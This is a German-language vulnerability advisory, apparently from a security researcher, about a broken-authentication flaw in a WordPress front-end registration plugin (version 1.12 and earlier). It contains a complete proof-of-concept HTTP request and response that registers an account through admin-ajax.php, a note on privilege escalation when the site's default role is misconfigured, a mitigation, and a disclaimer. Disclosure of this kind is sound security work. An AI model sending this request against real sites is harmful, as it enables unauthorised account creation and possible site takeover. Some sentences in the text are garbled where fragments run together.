
WordPress PSW Front-end Login & Registration Plugin <= 1.12 ist anfällig für Broken Authentication
Dieses Plugin weist einen kritischen Fehler in seinem Registrierungsmechanismus auf.
Während es ein Shortcode-basiertes Front-End-Registrierungsformular ([psw_registration]) anbietet, werden keine ordnungsgemäßen Rollenbeschränkungen oder sicheren Validierungen durchgesetzt.
Angreifer können diesen Mechanismus ausnutzen, um Konten ohne Authentifizierung zu erstellen – und wenn die default_role der Website falsch konfiguriert ist (z. B. auf administrator gesetzt), kann eine vollständige Privilegieneskalation erfolgen.
POST /wordpress/wp-admin/admin-ajax.php
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {Host}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 233
Origin: {Host}
Connection: keep-alive
Cookie:
Priority: u=0
first_name=nxploited&last_name=nxploited&new_user_name=nxpl3432oited&new_user_email=NxploitBot%40gmail.com&new_user_password=admin&new_user_password_confirmation=admin&action=register_user_front_end&psw_form=75a32ef38d
psw_formist das Nonce-Feld, das für die Anfrage erforderlich ist.
Dieses Nonce wird dynamisch aus dem Shortcode[psw_registration]auf der Frontend-Seite generiert.
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<h4>Hallo nxploited nxploited</h4>
<p>Danke, dass Sie ein Konto auf unserer Website erstellt haben. Bitte überprüfen Sie Ihre E‑Mail auf den Aktivierungslink...</p>
register_user_front_enddefault_role-Einstellung von WordPress, um Benutzerrollen zuzuweisenadministrator), erhält der Angreifer vollen ZugriffUm das Registrierungsformular anzuzeigen und ein gültiges Nonce für psw_form zu generieren, wird folgender Shortcode verwendet:
[psw_registration]
Dieser rendert ein Registrierungsformular, das das versteckte Nonce-Feld enthält, das für den Erfolg des AJAX-Aufrufs erforderlich ist.
default_role auf einen sicheren Wert (z. B. subscriber)Dieser Bericht dient ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken.
Die Ausnutzung dieser Schwachstelle ohne Erlaubnis kann rechtliche und ethische Grenzen überschreiten.
NXploited (Khaled_Alenazi)